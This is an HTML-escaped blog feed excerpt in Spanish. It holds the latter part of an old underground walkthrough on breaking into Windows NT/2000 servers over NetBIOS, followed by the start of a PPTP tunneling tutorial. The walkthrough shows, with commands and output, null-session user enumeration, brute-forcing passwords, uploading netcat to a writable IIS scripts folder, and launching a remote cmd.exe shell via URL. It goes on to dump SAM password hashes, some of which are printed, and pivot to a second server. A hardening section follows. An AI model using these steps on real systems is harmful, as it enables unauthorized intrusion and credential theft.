/&gt;&lt;br /&gt;zeroxt@candela:~/hack &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Como vemos esta maquina hace de Controlador del dominio DOMINIO3, es&lt;br /&gt;el Master Browser y su nombre NetBIOS es CARMEN.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;zeroxt@candela:~/hack &gt; nmblookup -A x.x.x.96&lt;br /&gt;Looking up status of x.x.x.96&lt;br /&gt;received 8 names&lt;br /&gt;       EULER           &lt;00&gt; -         M &lt;active&gt;&lt;br /&gt;       EULER           &lt;20&gt; -         M &lt;active&gt;&lt;br /&gt;       DOMINIO3        &lt;00&gt; - &lt;group&gt; M &lt;active&gt;&lt;br /&gt;       EULER           &lt;03&gt; -         M &lt;active&gt;&lt;br /&gt;       DOMINIO3        &lt;1e&gt; - &lt;group&gt; M &lt;active&gt;&lt;br /&gt;       INet~Services   &lt;1c&gt; - &lt;group&gt; M &lt;active&gt;&lt;br /&gt;       IS~EULER        &lt;00&gt; -         M &lt;active&gt;&lt;br /&gt;       ADMINISTRADOR   &lt;03&gt; -         M &lt;active&gt;&lt;br /&gt;num_good_sends=0 num_good_receives=0&lt;br /&gt;&lt;br /&gt;zeroxt@candela:~/hack &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En esta otra vemos que es miembro del dominio DOMINIO3, su nombre&lt;br /&gt;NetBIOs es EULER, esta ejecutando los servicios IIS y existe un&lt;br /&gt;usuario ADMINISTRADOR conectado y que probablemente sera la cuenta de&lt;br /&gt;administracion por defecto :). Aun asi nos aseguraremos y obtendremos&lt;br /&gt;la cuenta de Administrador de las dos maquinas y la lista de usuarios&lt;br /&gt;de ambos, que podremos utilizar como base para un ataque por fuerza&lt;br /&gt;bruta y testear asi la seguridad de las contraseñas de usuarios.&lt;br /&gt;&lt;br /&gt;Para realizar esta tarea haremos uso de las herramientas SID.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Conexiones Nulas ( IPC$ )&lt;br /&gt;=-=-=-=-=-=-=-=-=-=-=-=-=&lt;br /&gt;&lt;br /&gt;Windows NT hace uso de un recurso compartido oculto ( IPC$ ) y que se&lt;br /&gt;utiliza para intercomunicacion entre procesos. Este recurso permite&lt;br /&gt;a cualquiera establecer una sesion nula con el servidor. Y que debido&lt;br /&gt;a los permisos por defecto de NT nos permite acceder a determinda&lt;br /&gt;informacion como son listas de usuarios, recursos compartidos, ...&lt;br /&gt;Informacion que nos puede servir para buscar nuevos fallos de seguridad&lt;br /&gt;&lt;br /&gt;Acontinuacion obtendremos la lista de usuario y la cuenta del&lt;br /&gt;administrador del sistema, para ello como dijimos anteriormente&lt;br /&gt;haremos uso de las herramientas SID: user2sid que nos permite obtener&lt;br /&gt;el SID de un usuario o grupo y sid2user que nos permite obtener la&lt;br /&gt;informacion asociada a un SID.&lt;br /&gt;&lt;br /&gt;En primer lugar establecemos una conexion nula y obtenemos el SID de&lt;br /&gt;un grupo por defecto ( ya que los grupos no se pueden renombrar )&lt;br /&gt;&lt;br /&gt;C:\hack\sid&gt;net use \\carmen "" /u:""&lt;br /&gt;Se ha completado el comando correctamente.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\hack\sid&gt;user2sid \\carmen "Usuarios del dominio"&lt;br /&gt;&lt;br /&gt;S-1-5-21-445120578-907631837-612134452-513&lt;br /&gt;&lt;br /&gt;Number of subauthorities is 5&lt;br /&gt;Domain is DOMINIO3&lt;br /&gt;Length of SID in memory is 28 bytes&lt;br /&gt;Type of SID is SidTypeGroup&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Una vez obtenido, podemos obtener todas las cuentas del sistema, cuyo&lt;br /&gt;SID solo difiere en su ultimo campo denominado RID. Para la cuenta de&lt;br /&gt;administrador el RID es 500, para el resto de cuentas es 1000, 1001,&lt;br /&gt;1002, ....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\hack\sid&gt;sid2user \\carmen 5 21 445120578 907631837 612134452 500&lt;br /&gt;&lt;br /&gt;Name is ServerAdmin&lt;br /&gt;Domain is DOMINIO3&lt;br /&gt;Type of SID is SidTypeUser&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mmm, curioso la cuenta de administrador ha sido renombrada a&lt;br /&gt;ServerAdmin.&lt;br /&gt;&lt;br /&gt;Lo mismo para el servidor con Windows 2000 ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\hack\sid&gt;net use \\euler "" /u:""&lt;br /&gt;Se ha completado el comando correctamente.&lt;br /&gt;&lt;br /&gt;C:\hack\sid&gt;user2sid \\euler "Invitado"&lt;br /&gt;&lt;br /&gt;S-1-5-21-861567501-1993962763-1202660629-501&lt;br /&gt;&lt;br /&gt;Number of subauthorities is 5&lt;br /&gt;Domain is DOMINIO3&lt;br /&gt;Length of SID in memory is 28 bytes&lt;br /&gt;Type of SID is SidTypeUser&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\hack\sid&gt;sid2user \\euler 5 21 861567501 1993962763 1202660629 500&lt;br /&gt;&lt;br /&gt;Name is Administrador&lt;br /&gt;Domain is DOMINIO3&lt;br /&gt;Type of SID is SidTypeUser&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\hack\sid&gt;sid2user \\euler 5 21 861567501 1993962763 1202660629 1000&lt;br /&gt;&lt;br /&gt;Name is TsInternetUser&lt;br /&gt;Domain is DOMINIO3&lt;br /&gt;Type of SID is SidTypeUser&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\hack\sid&gt;sid2user \\euler 5 21 861567501 1993962763 1202660629 1001&lt;br /&gt;&lt;br /&gt;Name is IUSR_EULER&lt;br /&gt;Domain is DOMINIO3&lt;br /&gt;Type of SID is SidTypeUser&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\hack\sid&gt;sid2user \\euler 5 21 861567501 1993962763 1202660629 1002&lt;br /&gt;&lt;br /&gt;Name is IWAM_EULER&lt;br /&gt;Domain is DOMINIO3&lt;br /&gt;Type of SID is SidTypeUser&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NAT ( NetBIOS Auditing Tool )&lt;br /&gt;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=&lt;br /&gt;&lt;br /&gt;Una vez tenemos la lista de usuarios de los sistemas y las respectivas&lt;br /&gt;cuentas de administracion local. Podemos realizar un ataque por fuerza&lt;br /&gt;bruta a las contraseñas, para ello hacemos uso de NAT ( NetBIOS&lt;br /&gt;Auditing Tool )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;zeroxt@candela:~/hack/nat &gt; ./nat -i x.x.x.96&lt;br /&gt;&lt;br /&gt;[*] NAT - NetBIOS Auditing Tool v2.0&lt;br /&gt;   Copyright 1996, 1997, 1998, Secure Networks Inc.&lt;br /&gt;&lt;br /&gt;[*] Host x.x.x.96 (unknown) checked on Sun Mar 21 01:20:27 1999&lt;br /&gt;[*] Remote system name tables&lt;br /&gt;&lt;br /&gt;       EULER&lt;br /&gt;       DOMINIO3&lt;br /&gt;       INet~Services&lt;br /&gt;       IS~EULER&lt;br /&gt;       ADMINISTRADOR&lt;br /&gt;&lt;br /&gt;[*] Trying to connect with 'EULER'&lt;br /&gt;[*] Connected with NetBIOS name EULER&lt;br /&gt;&lt;br /&gt;[*] Dialect selected: NT LM 0.12&lt;br /&gt;[*] Server has share level security enabled&lt;br /&gt;[*] Server supports password encryption&lt;br /&gt;[*] Remote server's workgroup: DOMINIO3&lt;br /&gt;&lt;br /&gt;[*] Logging in as '' with password ''&lt;br /&gt;[*] Able to login as user '' with password ''&lt;br /&gt;&lt;br /&gt;[*] Server Operating System: Windows 5.0&lt;br /&gt;[*] Lan Manager Software   : Windows 2000 LAN Manager&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[*] Unable to list shares as '' user&lt;br /&gt;&lt;br /&gt;[*] Guessing passwords&lt;br /&gt;&lt;br /&gt;[*] Trying to login as user 'ADMINISTRATOR' with password 'ADMINISTRAT&lt;br /&gt;[*] Trying to login as user 'ADMINISTRATOR' with password 'GUEST'&lt;br /&gt;[*] Trying to login as user 'ADMINISTRATOR' with password 'ROOT'&lt;br /&gt;[*] Trying to login as user 'ADMINISTRATOR' with password 'ADMIN'&lt;br /&gt;[*] Trying to login as user 'ADMINISTRATOR' with password 'PASSWORD'&lt;br /&gt;[*] Trying to login as user 'ADMINISTRATOR' with password 'TEMP'&lt;br /&gt;[*] Guessed: ADMINISTRATOR Password: ADMINISTRATOR&lt;br /&gt;&lt;br /&gt;[*] Logging in as 'ADMINISTRATOR' with password 'ADMINISTRATOR'&lt;br /&gt;[*] Able to login as user 'ADMINISTRATOR' with password 'ADMINISTRATOR&lt;br /&gt;[*] Workstation information&lt;br /&gt;&lt;br /&gt;       Computer Name  : EULER&lt;br /&gt;       User Name      :&lt;br /&gt;       Work Group     : DOMINIO3&lt;br /&gt;       Version        : 5.0&lt;br /&gt;       Logon Domain   :&lt;br /&gt;       Other Domains  :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[*] Able to list shares as 'ADMINISTRATOR' user&lt;br /&gt;&lt;br /&gt;       C$            DISK       Recurso predeterminado&lt;br /&gt;       ADMIN$        DISK       Admin remota&lt;br /&gt;       Inetpub       DISK&lt;br /&gt;       IPC$          IPC        IPC remota&lt;br /&gt;       E$            DISK       Recurso predeterminado&lt;br /&gt;&lt;br /&gt;[*] WARNING: Able to connect to \\EULER\Inetpub as 'ADMINISTRATOR' use&lt;br /&gt;[*] WARNING: Able to WRITE to \\EULER\Inetpub&lt;br /&gt;&lt;br /&gt;[*] WARNING: Able to connect to \\EULER\IPC$ as 'ADMINISTRATOR' user&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;zeroxt@candela:~/hack/nat &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Evidentemente la cuenta ADMINISTRATOR no es una cuenta con privilegios&lt;br /&gt;de administrador sino una cuenta de usuario creada quiza para atraer a&lt;br /&gt;posibles hackes, y tanto que nos va a ser muy util ya que por descuido&lt;br /&gt;del administrador tiene permisos de escritura en \Inetpub.&lt;br /&gt;&lt;br /&gt;Lo cual nos va a permitir ejecutar comandos con los privilegios de&lt;br /&gt;IUSR_EULER subiendo un fichero al directorio \InetPub\scripts que&lt;br /&gt;por defecto tiene permisos de ejecucion. El fichero elegido sera una&lt;br /&gt;copia de netcat que nos permitira acceder al sistema :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;zeroxt@candela:~/ &gt; smbclient  \\\\x.x.x.96\\InetPub -U ADMINISTRATOR&lt;br /&gt;Password:&lt;br /&gt;Domain=[DOMINIO3] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]&lt;br /&gt;smb: \&gt; ls&lt;br /&gt; .                                   D        0  Sun Mar 12 15:57:08&lt;br /&gt; ..                                  D        0  Sun Mar 12 15:57:08&lt;br /&gt; wwwroot                             D        0  Sun Mar 12 15:57:08&lt;br /&gt; AdminScripts                        D        0  Sun Mar 12 15:57:20&lt;br /&gt; iissamples                          D        0  Sun Mar 12 15:57:20&lt;br /&gt; Mail                                D        0  Sun Mar 12 15:59:08&lt;br /&gt; scripts                             D        0  Sun Mar 12 16:02:28&lt;br /&gt; ftproot                             D        0  Sun Mar 12 16:03:26&lt;br /&gt; mailroot                            D        0  Sun Mar 12 16:03:28&lt;br /&gt; iisstart.asp                        A        0  Sat Mar 18 03:16:56&lt;br /&gt;&lt;br /&gt;               58497 blocks of size 65536. 24655 blocks available&lt;br /&gt;smb: \&gt; cd scripts&lt;br /&gt;smb: \scripts\&gt; ls&lt;br /&gt; .                                   D        0  Sun Mar 12 16:02:28&lt;br /&gt; ..                                  D        0  Sun Mar 12 16:02:28&lt;br /&gt;&lt;br /&gt;               58497 blocks of size 65536. 24655 blocks available&lt;br /&gt;smb: \scripts\&gt; put netcat.exe&lt;br /&gt;putting file netcat.exe as \scripts\netcat.exe&lt;br /&gt;smb: \scripts\&gt; exit&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;zeroxt@candela:~/hack/nat &gt; lynx http://x.x.x.96/scripts/netcat.exe?&lt;br /&gt;-l%20-p%2023%20-e%20cmd.exe&lt;br /&gt;&lt;br /&gt;zeroxt@candela:~/hack/nat &gt; netcat x.x.x.96 23&lt;br /&gt;Microsoft Windows 2000 [Versión 5.00.2072]&lt;br /&gt;Microsoft(R) Windows(TM)&lt;br /&gt;(C) Copyright 1985-1999 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;e:\inetpub\scripts&gt;&lt;br /&gt;&lt;br /&gt;tachan! :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ya estamos dentro con permisos del usuario IIS :). Debido a los&lt;br /&gt;permisos por defecto y al FDC cualquier usuario tiene acceso completo&lt;br /&gt;al directorio \winnt. Por lo que sustituir cualquier archivo por un&lt;br /&gt;troyano, instalar un sniffer o cualquier otro tipo de accion seria&lt;br /&gt;trivial. Ahora podemos obtener una copia del archivo de claves&lt;br /&gt;de NT del directorio \winnt\repair y obtener las distintas claves&lt;br /&gt;con ayuda del l0phtcrack&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;E:\Inetpub\scripts&gt;samdump \winnt\repair\sam&lt;br /&gt;samdump \winnt\repair\sam&lt;br /&gt;Administrador:500:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXX&lt;br /&gt;XXX:Cuenta para la administraci¾n del equipo o dominio::&lt;br /&gt;&lt;br /&gt;Invitado:501:NO PASSWORD*********************:NO PASSWORD************&lt;br /&gt;*********:Cuenta para acceso como invitado al equipo o dominio::&lt;br /&gt;&lt;br /&gt;TsInternetUser:1000:B857426F10E9987B81B7BF4162DE158E:C25DB5748E64161C&lt;br /&gt;C464C5C2D384E48F:TsInternetUser,Servicios de Terminal Server usa esta&lt;br /&gt;cuenta de usuario.::&lt;br /&gt;&lt;br /&gt;IUSR_EULER:1001:740A765CDE56E4322527D6405C7A9FBF:659F670CD71A4D472803&lt;br /&gt;31EA0D5ACFC6:Cuenta de invitado a Internet,Cuenta integrada para acce&lt;br /&gt;so an¾nimo a Servicios de Internet Information Server::&lt;br /&gt;&lt;br /&gt;IWAM_EULER:1002:8D477648397EAA89488B9B9789336A73:005CFF626C455FC73988&lt;br /&gt;6EA4F7A47AEA:Iniciar la cuenta de proceso IIS,Cuenta integrada para e&lt;br /&gt;l inicio de los Servicios de Internet Information Server fuera de las&lt;br /&gt;aplicaciones de proceso::&lt;br /&gt;&lt;br /&gt;SAMDump 1.0beta. Created by Dmitry Andrianov&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En unas horas se obtuvo la clave de administrador para el servidor&lt;br /&gt;y se pudo acceder al servidor con permisos totales. Desde este a su&lt;br /&gt;vez se realizo un ataque por diccionario al servidor NT ( x.x.x.92 )&lt;br /&gt;y que se completo en poco tiempo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\zeroxt&gt;net use \\x.x.x.96\C$ xxxxxxx /u:Administrador&lt;br /&gt;Se ha completado el comando correctamente.&lt;br /&gt;&lt;br /&gt;C:\zeroxt&gt;net use \\x.x.x.92\E$ xxxxx /u:ServerAdmin&lt;br /&gt;Se ha completado el comando correctamente.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;( Claves omitidas )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Soluciones a la Inseguridad&lt;br /&gt;=-=-=-=-=-=-=-=-=-=-=-=-=-=&lt;br /&gt;&lt;br /&gt;Como habeis podido comprobar la seguridad es muy importante, seamos&lt;br /&gt;una pequeña empresa, una gran empresa, o un simple usuario que dedica&lt;br /&gt;su tiempo a navegar por la red, siempre estamos en peligro y abiertos&lt;br /&gt;a cualquier tipo de ataque. Y es que hay gente que se puede decir solo&lt;br /&gt;vive para entrar en ordenadores ajenos, dando igual lo que contengan&lt;br /&gt;solo por el mero hecho de investigar un poco mas. Y todo hay que&lt;br /&gt;decirlo tambien hay los que lo hacen para joder un poco mas, y hacer&lt;br /&gt;cosas tan absurdas como un "deltree \*.*" o un "rm -fr /". Sea lo que&lt;br /&gt;sea esta claro que a nadie le gusta que le miren en su disco duro&lt;br /&gt;aunque solo tenga fotos xXX ...&lt;br /&gt;&lt;br /&gt;Hemos visto lo facil que resulta acceder a un ordenador que no este&lt;br /&gt;correctamente configurado y con permisos por defecto. La mayor parte&lt;br /&gt;de los ataques en Windows se realizan atraves de recursos compartidos&lt;br /&gt;por medio de NetBIOS, servicios mal configurado, etc. Como medida a&lt;br /&gt;esto se recomienda no utilizar NBT ( NetBIOS sobre TCP/IP ) a no ser&lt;br /&gt;que ser que sea estrictamente necesario y en esta caso siempre filtrar&lt;br /&gt;los accesos mediante un firewall y permitir solo accesos a la&lt;br /&gt;intranet.&lt;br /&gt;&lt;br /&gt;Tambien tenemos que estar pendientes de la seguridad en la intranet,&lt;br /&gt;ya que cualquier empleado un poco 'aburrido' podria dedicarse a jugar&lt;br /&gt;con nosotros. Debemos denegar el acceso de login en la consola a los&lt;br /&gt;usuarios, y establer fuertes permisos en el sistema de archivos ya&lt;br /&gt;que como vimos anteriormente por defecto cualquier usuario tiene&lt;br /&gt;acceso completo a \WINNT. Se recomienda cambiar los permisos y&lt;br /&gt;establecerlos de la siguiente forma.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;%SystemRoot%&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;CREATOR OWNER: Full Control (All)&lt;br /&gt;Everyone: Add and Read (RWX)(RX)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;Server Operators: Change (RWXD)&lt;br /&gt;&lt;br /&gt;%SystemRoot%\FONTS&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;CREATOR OWNER: Full Control (All)&lt;br /&gt;Everyone: Add &amp; Read (RWX)(RX)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;Server Operators: Change (RWXD)&lt;br /&gt;&lt;br /&gt;%SystemRoot%\HELP&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;CREATOR OWNER: Full Control (All)&lt;br /&gt;Everyone: Add &amp;amp; Read (RWX)(RX)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;Server Operators: Change (RWXD)&lt;br /&gt;&lt;br /&gt;%SystemRoot%\INF&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;CREATOR OWNER: Full Control (All)&lt;br /&gt;Everyone: Add &amp;amp; Read (RWX)(RX)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;Server Operators: Change (RWXD)&lt;br /&gt;&lt;br /&gt;%SystemRoot%\PROFILES&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;CREATOR OWNER: Full Control (All)&lt;br /&gt;Everyone: Add and Read (RWX)(RX)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;Server Operators: Change (RWXD)&lt;br /&gt;&lt;br /&gt;%SystemRoot%\REPAIR&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;Server Operators: Change (RWXD)&lt;br /&gt;&lt;br /&gt;%SystemRoot%\SYSTEM&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;CREATOR OWNER: Full Control (All)&lt;br /&gt;Everyone: Add and Read (RWX)(RX)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;Server Operators: Change (RWXD)&lt;br /&gt;%SystemRoot%\SYSTEM32&lt;br /&gt;&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;CREATOR OWNER: Full Control (All)&lt;br /&gt;Everyone: Add and Read (RWX)(RX)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;Server Operators: Change (RWXD)&lt;br /&gt;&lt;br /&gt;%SystemRoot%\SYSTEM32\DHCP&lt;br /&gt;Sino usamos un servidor DHCP se recomienda borrarla&lt;br /&gt;&lt;br /&gt;%SystemRoot%\SYSTEM32\LOGFILES&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;CREATOR OWNER: Full Control (All)&lt;br /&gt;Everyone: Read (RX)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;Server Operators: Change (RWXD)&lt;br /&gt;&lt;br /&gt;%SystemRoot%\SYSTEM32\RAS&lt;br /&gt;Si no usamos RAS borrarlo, sino resringirlo a los usuarios RAS&lt;br /&gt;&lt;br /&gt;%SystemRoot%\SYSTEM32\VIEWERS&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;CREATOR OWNER: Full Control (All)&lt;br /&gt;Everyone: Add and Read (RWX)(RX)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;Server Operators: Change (RWXD)&lt;br /&gt;&lt;br /&gt;%SystemRoot%\SYSTEM32\WINS&lt;br /&gt;Si no usamos WINS borrarlo&lt;br /&gt;&lt;br /&gt;\BOOT.INI&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;&lt;br /&gt;\NTDETECT.COM&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;NTLDR&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;&lt;br /&gt;\AUTOEXEC.BAT&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;Everybody: Read (RX)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;&lt;br /&gt;\CONFIG.SYS&lt;br /&gt;Administrators: Full Control (All)&lt;br /&gt;Everybody: Read (RX)&lt;br /&gt;SYSTEM: Full Control (All)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Muchos libros recomiendan renombrar la cuenta de Administador, pero&lt;br /&gt;como hemos visto resulta inutil ya que es trivial a averiguarla por&lt;br /&gt;medio de una sesion nula. Estas sesiones nulas se establecen mediante&lt;br /&gt;NetBIOS, por lo que si filtramos adecuadamente los puertos usados&lt;br /&gt;por NetBIOS no sera posible el listado de usuarios, cuenta de&lt;br /&gt;Administrados, recursos compartidos, etc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enlaces / Bibliografia&lt;br /&gt;=-=-=-==-=-=-=-=-=-=-=&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ l0pthcrack ] - www.l0pht.com&lt;br /&gt;[ SID Tools ] - http://www.technotronic.com/microsoft.html&lt;br /&gt;[ NAT ] - http://www.technotronic.com/microsoft.html&lt;br /&gt;[ Understanding NetBIOS by NeonSurge ]&lt;br /&gt;[ Windows NT Unleashed ]&lt;br /&gt;[ RFC1001 ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ZeRoXT&lt;br /&gt;zeroxt@hotmail.com&lt;br /&gt;&lt;br /&gt;EOF&lt;br /&gt;&lt;br /&gt;--( ZeRoXT )-- - -- - -- - -- - -- - -- @_2500Hz - Underground Scene -&lt;br /&gt;-- -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - --&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13066511-111666132553438985?l=hax0rs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hax0rs.blogspot.com/feeds/111666132553438985/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13066511&amp;postID=111666132553438985' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666132553438985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666132553438985'/><link rel='alternate' type='text/html' href='http://hax0rs.blogspot.com/2005/05/netbios-jugando-con-windows-nt2000.html' title='NetBIOS: Jugando con Windows NT/2000'/><author><name>KsiAnonimo</name><uri>http://www.blogger.com/profile/00509391750525459004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.cogitoalius.com.ar/avatarcogitoalius.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13066511.post-111666128602201735</id><published>2005-05-21T00:41:00.000-07:00</published><updated>2005-05-21T00:41:26.030-07:00</updated><title type='text'>Obtener una IP diferente al modo normal</title><content type='html'>&lt;pre&gt;.--[ @_2500Hz - Underground Scene - ]-------------------------------------------------.&lt;br /&gt;|                                                                           |&lt;br /&gt;| Titulo : How to hacer Tunneling desde Win9x                               |&lt;br /&gt;| Autor  : [CrAsH]]                                                         |&lt;br /&gt;| Fecha  : 27/03/2000                                                       |&lt;br /&gt;`-----------------------------------------------------(2500hz@mixmail.com)--´&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*-*-*-*-*-*-*-*-*-*&lt;br /&gt;* 1. Introducción *&lt;br /&gt;*-*-*-*-*-*-*-*-*-*&lt;br /&gt;&lt;br /&gt;Bueno, el documento tan esperado desde hace meses Ni decir tengo que esta información sólo&lt;br /&gt;tiene própositos educativos, y no me responsabilizo del mal uso que le podais dar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*-*-*-*-*-*-*-*-*-*-*-*-*&lt;br /&gt;*  2. Conceptualización *&lt;br /&gt;*-*-*-*-*-*-*-*-*-*-*-*-*&lt;br /&gt;&lt;br /&gt;1. ¿ que es pptp?&lt;br /&gt;PPTP (Point-to-point tunneling protocol) es un protocolo de internet&lt;br /&gt;diseñado para proveer de la seguridad necesaria con la finalidad de crear y mantener&lt;br /&gt;una VPN sobre TCP/IP (TRansmision Control Protocol/Interface Protocol).&lt;br /&gt;Es el protocolo para hacer un túnel que permite que se realicen&lt;br /&gt;las conexiones de Point-to-Point Protocol (PPP) a través de una red IP, creando&lt;br /&gt;una red privada virtual (VPN).&lt;br /&gt;&lt;br /&gt;2. ¿que es VPN?&lt;br /&gt;-AVPN Microsoft Virtual Private Networking Adapter Microsoft &lt;br /&gt;El principal propósito de las Redes Privadas Virtuales es el establecimiento de una&lt;br /&gt;conexión segura a una LAN ( Local Area Network) privada sobre una estandar no-segura&lt;br /&gt;conexión LAN o una conexión via internet.&lt;br /&gt;pongamos un ejemplo, si tu estas trabajando en una oficina tu puedes acceder a la LAN de tu&lt;br /&gt;oficina por medio de un 'tunel' del servidor VPN. una vez que te ha sconectado tu conexion&lt;br /&gt;es mas virtual que fisica, ya que no te encuentras fisicamente en la LAN de tu oficina,&lt;br /&gt;de ahi el termino VIRUTAL NETWORK.&lt;br /&gt;HAy varias clases de redes VPN, pero la mas utilizada y la mas popupar es el PPTP,&lt;br /&gt;Microsoft fue uno de los primero es ofrecer este servicio como una parte del NT SERVER.&lt;br /&gt;EL adaptador de PPTP que ha crecido mas es el L2TP ( Layer 2 Tunneling Protocol)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Tunneling?¿?¿&lt;br /&gt;El adaptador de red privada virtual de Microsoft permite a&lt;br /&gt;los PC conectarse a redes privadas a través de redes públicas como Internet.&lt;br /&gt;el pptp nos permite hacer tunneling una vez conectados a internet y obtener otra ip&lt;br /&gt;distinta a la que habiamos obtenido mediante la forma tradicional (llamando a un&lt;br /&gt;nodo de nuestro proveedor de inet) realmente&lt;br /&gt;el pptp no es solo esto, y la explicacion que he puesto anteriormente es resumir al&lt;br /&gt;maximo el concepto de pptp, lo que teoricamente es mas util del pptp es la posibilidad&lt;br /&gt;de montar VPNs o lo que es lo mismo Redes Privadas Virtuales (Virtual Private Networks)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*&lt;br /&gt;*  3. COMO HACER TUNNELING  *&lt;br /&gt;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*&lt;br /&gt;&lt;br /&gt;3.1) CREAR EL ACCESO&lt;br /&gt;Pongamos un ejemplo: supongamos que nos conectamos a través de teleline. Cuando nos&lt;br /&gt;conectamos a teleline lo que hacemos es  CASITA--&gt; TELELINE --&gt;ISP --&gt;INTERNET&lt;br /&gt;vemos los  diferentes estados que pasamos antes de entrar a internet: primero llamamos a&lt;br /&gt;nuestro nodo local alli entra en teleline, una vez alli el login y pass son mandados al&lt;br /&gt;netbuilder de su ISP o lo que es lo mismo una conexion TCP al puerto 1723 donde es&lt;br /&gt;comprobado el login y pass, si es correcto el ISP le tuneliza a internet es decir&lt;br /&gt;que realmente un usuario, primero de todo esta conectado a teleline,&lt;br /&gt;luego a su ISP y desde su ISP a internet.&lt;br /&gt;&lt;br /&gt;procedimiento: vale nos vamos a inicio (esto parece Windows para tontos pero asi es mas&lt;br /&gt;claro xD): procesos:&lt;br /&gt;&lt;br /&gt;--&gt; panel de control&lt;br /&gt;--&gt; SISTEMA--&gt;&lt;br /&gt;--&gt;RED&lt;br /&gt;--&gt;configuracion&lt;br /&gt;--&gt; agregar&lt;br /&gt;--&gt;controlador&lt;br /&gt;--&gt;seleccionar adaptador de red (microsoft)&lt;br /&gt;adaptadores de red (adaptador de red virtual privada de microsoft ) &lt;br /&gt;&lt;br /&gt;y ya esta seguiis los pasos.. una vez instalado el adaptador y tras haber reiniciado os&lt;br /&gt;vais a control de acceso telefonico a redes: y os creais una conexion, la podeis llamar VPN&lt;br /&gt;mismo, y procedeis a la instalacion de un nuevo acceso telefonico a redes: haceis doble&lt;br 